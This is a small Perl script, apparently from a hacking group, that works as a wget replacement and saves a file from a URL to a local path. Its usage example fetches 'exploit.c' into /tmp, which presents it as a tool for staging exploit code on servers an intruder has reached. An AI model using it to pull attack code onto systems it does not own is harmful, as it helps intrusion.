#!/usr/bin/perl -w

#wget script -> For those annoying servers without wget >_<

#Coded by illuz1on

use LWP::Simple;

$url = $ARGV[0];

$file = $ARGV[1];



     if(@ARGV < 2){

     print "Wget Script - > illuz1on < -\\n\\n";

     print "Usage - > perl wget.pl  \\n";

    print "Example - > perl wget.pl http://www.site.org/exploit.c /tmp/exploit.c\\n";

    exit;

  }

getstore($url, $file) || die "Cant Download File: $!\\n";

mes();

dl();

ex();

sub mes {

    print "+--------------+\\n";

    print "|  WgetScript  |\\n";

    print "|   illuz1on   |\\n";

    print "|     v1.0     |\\n";

    print "+--------------+\\n\\n";

   }

sub dl {

    print "[~]Downloading...\\n";

   sleep 1;

    print "

    * Downloaded...\\n"; 


   print "

    * $url Was Saved To $file...\\n\\n"; 


    }    

sub ex {

    print "+-------------------+\\n";

   print "| Coded By illuz1on |\\n";

   print "|      G0t-Root     |\\n";

   print "|      H4ckY0u      |\\n";

   print "+-------------------+\\n";

   sleep 2;

   exit;

}